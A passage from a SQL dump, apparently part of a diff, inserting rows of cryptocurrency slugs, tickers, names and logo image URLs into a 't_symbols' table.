`t_symbols` VALUES (2688, 'shekel', 'JEW', 'Shekel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/shekel_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2689, 'decentralized-machine-learning', 'DML', 'Decentralized Machine Learning', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-machine-learning.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2690, 'cream', 'CRM', 'Creamcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cream.png', NULL); +INSERT INTO `t_symbols` VALUES (2691, 'guncoin', 'GUN', 'Guncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2692, 'daneel', 'DAN', 'Daneel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daneel.png', NULL); +INSERT INTO `t_symbols` VALUES (2693, '2key', '2KEY', '2key.network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2key.png', NULL); +INSERT INTO `t_symbols` VALUES (2694, 'turret', 'TUR', 'Turret', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turret.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2695, 'intelligent-trading-foundation', 'ITT', 'Intelligent Trading Foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-trading-foundation.png', NULL); +INSERT INTO `t_symbols` VALUES (2696, 'aegeus', 'AEG', 'Aegeus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aegeus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2697, 'apr-coin', 'APR', 'APR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apr-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2698, 'bitcoin-red', 'BTCRED', 'Bitcoin Red', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-red.png', NULL); +INSERT INTO `t_symbols` VALUES (2699, 'stipend', 'SPD', 'Stipend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stipend.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2700, 'traxia', 'TMT', 'Traxia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traxia.png', NULL); +INSERT INTO `t_symbols` VALUES (2701, 'gamecell-coin', 'GCC', 'gamecell-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecell-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2702, 'safecapital', 'SCAP', 'SafeCapital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safecapital.png', NULL); +INSERT INTO `t_symbols` VALUES (2703, 'op-coin', 'OPC', 'OP Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OPCoin_official.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2704, 'witchain', 'WIT', 'WITChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/witchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2705, 'commodity-ad-network', 'CDX', 'CDX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commodity-ad-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2706, 'bunny', 'BUNNY', 'BunnyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bunny.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2707, 'chncoin', 'CNC', 'CHNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2708, 'wagglenetwork', 'WAG', 'Waggle Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wagglenetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2709, 'coinjanitor', 'JAN', 'CoinJanitor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinjanitor.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2710, 'fitrova', 'FRV', 'Fitrova', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fitrova.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2711, 'armors', 'ARM', 'Armours', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/74d2425a9d64cb9c2643ef07871e1e3e.png', NULL); +INSERT INTO `t_symbols` VALUES (2712, 'graviocoin', 'GIO', 'Graviocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/graviocoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2713, 'geysercoin', 'GSR', 'GeyserCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geysercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2714, 'friends', 'FDZ', 'Friendz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/friends.png', NULL); +INSERT INTO `t_symbols` VALUES (2715, 'freyrchain', 'FREC', 'Freyrchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/freyrchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2716, 'litebar', 'LTB', 'LiteBar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litebar.png', NULL); +INSERT INTO `t_symbols` VALUES (2717, 'mesg', 'MESG', 'MESG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mesg.png', NULL); +INSERT INTO `t_symbols` VALUES (2718, 'eventchain', 'EVC', 'EventChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eventchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2719, 'spots', 'SPT', 'Spots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spots.png', NULL); +INSERT INTO `t_symbols` VALUES (2720, 'mark-space', 'MRK', 'Mark.Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mark-space.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2721, 'cherry', 'CHERRY', 'Cherry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cherry.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2722, 'verime', 'VME', 'TrueVett', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verime.png', NULL); +INSERT INTO `t_symbols` VALUES (2723, 'knt', 'KNT', 'Kora Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knt.png', NULL); +INSERT INTO `t_symbols` VALUES (2724, 'zcore', 'ZCR', 'ZCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcore.png', NULL); +INSERT INTO `t_symbols` VALUES (2725, 'qtes', 'QTES', 'QTES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qtes.png', NULL); +INSERT INTO `t_symbols` VALUES (2726, 'dollar-online', 'DOLLAR', 'Dollar INTERNATIONAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/dollarglobal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2727, 'newadchain', 'NAC', 'newadchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2728, 'digitalcoin', 'DGC', 'Digital Genetic Code', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2729, 'sugar-exchange', 'SGR', 'Sugar Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sugar-exchange.png', NULL); +INSERT INTO `t_symbols` VALUES (2730, 'yffi-finance', 'YFFI', 'yffi finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffi-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2731, 'm-chain', 'M', 'M Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/m-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2732, 'xlmx', 'XLMX', 'Stellar Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xlmx.png', NULL); +INSERT INTO `t_symbols` VALUES (2733, 'beauty', 'BEAUTY', 'beauty', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2734, 'okschain', 'OKS', 'Okschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okschain.png', NULL); +INSERT INTO `t_symbols` VALUES (2735, 'ethereumx', 'ETX', 'EthereumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereumx.png', NULL); +INSERT INTO `t_symbols` VALUES (2736, 'genesis-network', 'GENX', 'Genesis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesis-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2737, 'berncash', 'BERN', 'BERNcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/berncash.png', NULL); +INSERT INTO `t_symbols` VALUES (2738, 'californium', 'CF', 'Californium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/californium.png', NULL); +INSERT INTO `t_symbols` VALUES (2739, 'rpicoin', 'RPI', 'RPICoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rpicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2740, 'secretcoin', 'SCRT', 'SecretCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SecretCoinDevs.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2741, 'nevacoin', 'NEVA', 'NevaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nevacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2742, 'bolivarcoin', 'BOLI', 'Bolivarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bolivarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2743, 'kwhcoin', 'KWH', 'KWHCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kwhcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2744, 'penguin-coin', 'PENG', 'PENG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coin_penguin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2745, 'golfcoin', 'GOLF', 'Golfcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golfcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2746, 'cannabiscoin', 'CANN', 'CannabisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannabiscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2747, 'nmst', 'NMST', 'NMS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/13b9760a025e52522721dfc2aa0beb83.png', NULL); +INSERT INTO `t_symbols` VALUES (2748, 'dscoin', 'DSCOIN', 'DSCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2749, 'zrcoin', 'ZRC', 'ZrCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zrcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2750, 'experiencecoin', 'EPC', 'ExperienceCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/experiencecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2751, 'allion', 'ALL', 'Allion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allion.png', NULL); +INSERT INTO `t_symbols` VALUES (2752, 'knekted', 'KNT', 'Knekted', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knekted.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2753, 'reftoken', 'REF', 'RefToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reftoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2754, 'lkr', 'LKR', 'LKR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Lkrcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2755, 'gpei', 'GPEI', 'Greenchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gpei.png', NULL); +INSERT INTO `t_symbols` VALUES (2756, 'asia-token-fund', 'ATF', 'asia-token-fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asia-token-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (2757, 'gatcoin', 'GAT', 'GAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2758, 'mftu', 'MFTU', 'Mainstream For The Underground', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mftu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2759, 'hashhosting', 'HASH', 'HASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashhosting.png', NULL); +INSERT INTO `t_symbols` VALUES (2760, 'jetcoin', 'JET', 'Jetcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jetcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2761, 'credit', 'CREDIT', 'Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit.png', NULL); +INSERT INTO `t_symbols` VALUES (2762, 'agora', 'VOTE', 'Agora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/agora.png', NULL); +INSERT INTO `t_symbols` VALUES (2763, 'veles', 'VLS', 'Veles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veles.png', NULL); +INSERT INTO `t_symbols` VALUES (2764, 'mobile-crypto-pay-coin', 'MCPC', 'Mobile Crypto Pay Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobile-crypto-pay-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2765, 'npcoin', 'NPC', 'NPCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/npcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2766, 'flowchain', 'FLC', 'Flowchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flowchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2767, 'zeuxcoin', 'ZUC', 'ZeuxCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeuxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2768, 'rate3', 'RTE', 'Rate3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rate3.png', NULL); +INSERT INTO `t_symbols` VALUES (2769, 'safeinsure', 'SINS', 'SafeInsure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safeinsure.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2770, 'feitebi', 'FTB', 'Feitebi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feitebi.png', NULL); +INSERT INTO `t_symbols` VALUES (2771, 'bitcoin-cz', 'BCZ', 'Bitcoin CZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cz.png', NULL); +INSERT INTO `t_symbols` VALUES (2772, 'yun', 'YUN', 'YunEx Yun Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yun.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2773, 'prmichain', 'PRMI', 'PRMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prmichain.png', NULL); +INSERT INTO `t_symbols` VALUES (2774, 'ali', 'ALI', 'AiLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ali.png', NULL); +INSERT INTO `t_symbols` VALUES (2775, 'mib', 'MIB', 'MIB Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mib.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2776, 'blockcloud', 'BLOC', 'Blockcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/b68524d6fb385d3f6c497312c93706dd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2777, 'cloakcoin', 'CLOAK', 'CloakCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cloakcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2778, 'bezant', 'BZNT', 'Bezant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bezant.png', NULL); +INSERT INTO `t_symbols` VALUES (2779, 'c2c-system', 'C2C', 'C2C System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/c2catm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2780, 'yfrb-finance', 'YFRB', 'yfrb.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfrb-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (2781, 'mdtoken', 'MDTK', 'MDtoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2782, 'cryptopay', 'CPAY', 'Cryptopay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptopay.png', NULL); +INSERT INTO `t_symbols` VALUES (2783, 'wccmk', 'WCCMK', 'wccmk', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2784, 'junsonmingchancoin', 'JMC', 'Junsonmingchncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/junsonmingchancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2785, 'compucoin', 'CPN', 'Compucoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compucoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2786, 'beekan', 'BKBT', 'BeeKan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beekan.png', NULL); +INSERT INTO `t_symbols` VALUES (2787, 'sativacoin', 'STV', 'Sativacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/sativacoins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2788, 'payrue', 'PROPEL', 'Propel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payrue.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2789, 'bit20', 'BTWTY', 'Bit20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit20.png', NULL); +INSERT INTO `t_symbols` VALUES (2790, 'tajcoin', 'TAJ', 'TajCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tajcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2791, 'netrum', 'NTR', 'Netrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netrum.png', NULL); +INSERT INTO `t_symbols` VALUES (2792, 'axerunners', 'AXE', 'Axe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axerunners.png', NULL); +INSERT INTO `t_symbols` VALUES (2793, 'bitcoinsov', 'BSOV', 'BitcoinSoV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinsov.png', NULL); +INSERT INTO `t_symbols` VALUES (2794, 'tokenbox', 'TBX', 'Tokenbox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenbox.png', NULL); +INSERT INTO `t_symbols` VALUES (2795, 'dreamcoin', 'DRM', 'Dreamcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Dream_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2796, 'comet', 'CMT', 'Comet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/comet.png', NULL); +INSERT INTO `t_symbols` VALUES (2797, 'adaswap', 'ASW', 'AdaSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/adaswap.png', NULL); +INSERT INTO `t_symbols` VALUES (2798, 'bitpark-coin', 'BPC', 'Bitpark Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitpark-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2799, 'thingsopreatingsystem', 'TOS', 'ThingsOperatingSystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thingsopreatingsystem.png', NULL); +INSERT INTO `t_symbols` VALUES (2800, 'nushares', 'NSR', 'NuShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialNuBits.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2801, 'shivers', 'SHVR', 'Shivers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shivers.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2802, 'flik', 'FLIK', 'FLiK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TheFlikIO.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2803, 'fuzex', 'FXT', 'FuzeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuzex.png', NULL); +INSERT INTO `t_symbols` VALUES (2804, 'spec', 'SPEC', 'SpectrumNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spec.png', NULL); +INSERT INTO `t_symbols` VALUES (2805, 'den-x', 'DNX', 'Den-X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/den-x.png', NULL); +INSERT INTO `t_symbols` VALUES (2806, 'bulleon', 'BLN', 'bulleon', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2807, 'bitdeal', 'BDL', 'Bitdeal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdeal.png', NULL); +INSERT INTO `t_symbols` VALUES (2808, 'alpha-coin', 'APC', 'Alpha Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2809, 'modultrade', 'MTRC', 'ModulTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modultrade.png', NULL); +INSERT INTO `t_symbols` VALUES (2810, 'bitcoin-zero', 'BZX', 'Bitcoin Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitcoinZer0X.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2811, 'mustangcoin', 'MST', 'MustangCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mustangcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2812, 'cma', 'CMA', 'CoinMarketAlert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cma.png', NULL); +INSERT INTO `t_symbols` VALUES (2813, 'jbox', 'JBX', 'JBOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jbox.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2814, 'xmc', 'XMC', 'xmc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmc.png', NULL); +INSERT INTO `t_symbols` VALUES (2815, 'softchain', 'SCC', 'SoftChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/softchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2816, 'eaglex', 'EGX', 'EagleX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaglex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2817, 'adcoin', 'ACC', 'AdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2818, 'gravitycoin', 'GXX', 'GravityCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravitycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2819, 'nexxus', 'NXX', 'Nexxus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexxus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2820, 'nubits', 'USNBT', 'NuBits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialNuBits.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2821, 'arbitrage', 'ARB', 'ARBITRAGE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrage.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2822, 'isc', 'ISC', 'isc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2823, 'cashcoin', 'CASH', 'CashCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2824, 'darsek', 'KED', 'Darsek', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darsek.png', NULL); +INSERT INTO `t_symbols` VALUES (2825, 'aka', 'AKA', 'Akroma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aka.png', NULL); +INSERT INTO `t_symbols` VALUES (2826, 'phoneum', 'PHT', 'Phoneum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoneum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2827, 'gobyte', 'GBX', 'GoByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gobyte.png', NULL); +INSERT INTO `t_symbols` VALUES (2828, 'hash-matrix-stake', 'MS', 'hash-matrix-stake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hash-matrix-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (2829, 'deep', 'DEEP', 'DeepCloud AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/b612792c75e6944c3084cfd7dfc1119a.png', NULL); +INSERT INTO `t_symbols` VALUES (2830, 'imbrex', 'REX', 'imbrex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imbrex.png', NULL); +INSERT INTO `t_symbols` VALUES (2831, 'blackstar', 'BSTAR', 'Blackstar', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2832, 'imagecash', 'IMGC', 'ImageCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imagecash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2833, 'qurito', 'QURO', 'Qurito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qurito.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2834, 'bios-crypto', 'BIOS', 'BiosCrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bios_crypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2835, 'coffeecoin', 'COF', 'CoffeeCoin', 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coffeecoin2.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2836, 'odin-blockchain', 'ODIN', 'ODIN Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odin-blockchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2837, 'fcoin-token', 'FT', 'FCoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fcoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2838, 'animal-friends-united', 'AFU', 'Animal Friends United', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animal-friends-united.png', NULL); +INSERT INTO `t_symbols` VALUES (2839, 'creditbit', 'CRB', 'Creditbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2840, 'polypux', 'PUX', 'PolypuX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polypux.png', NULL); +INSERT INTO `t_symbols` VALUES (2841, 'ldbc', 'LDBC', 'ldbc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2842, 'tgame', 'TGAME', 'Truegame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tgame.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2843, 'pictionnetwork', 'PXL', 'Piction Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pictionnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2844, 'aphelion', 'APH', 'Aphelion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aphelion.png', NULL); +INSERT INTO `t_symbols` VALUES (2845, 'indinode', 'XIND', 'INDINODE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indinode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2846, 'tokia', 'TKA', 'Tokia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokia.png', NULL); +INSERT INTO `t_symbols` VALUES (2847, 'wxcoins', 'WXC', 'WXCOINS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wxcoins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2848, 'keyco', 'KEC', 'Keyco', 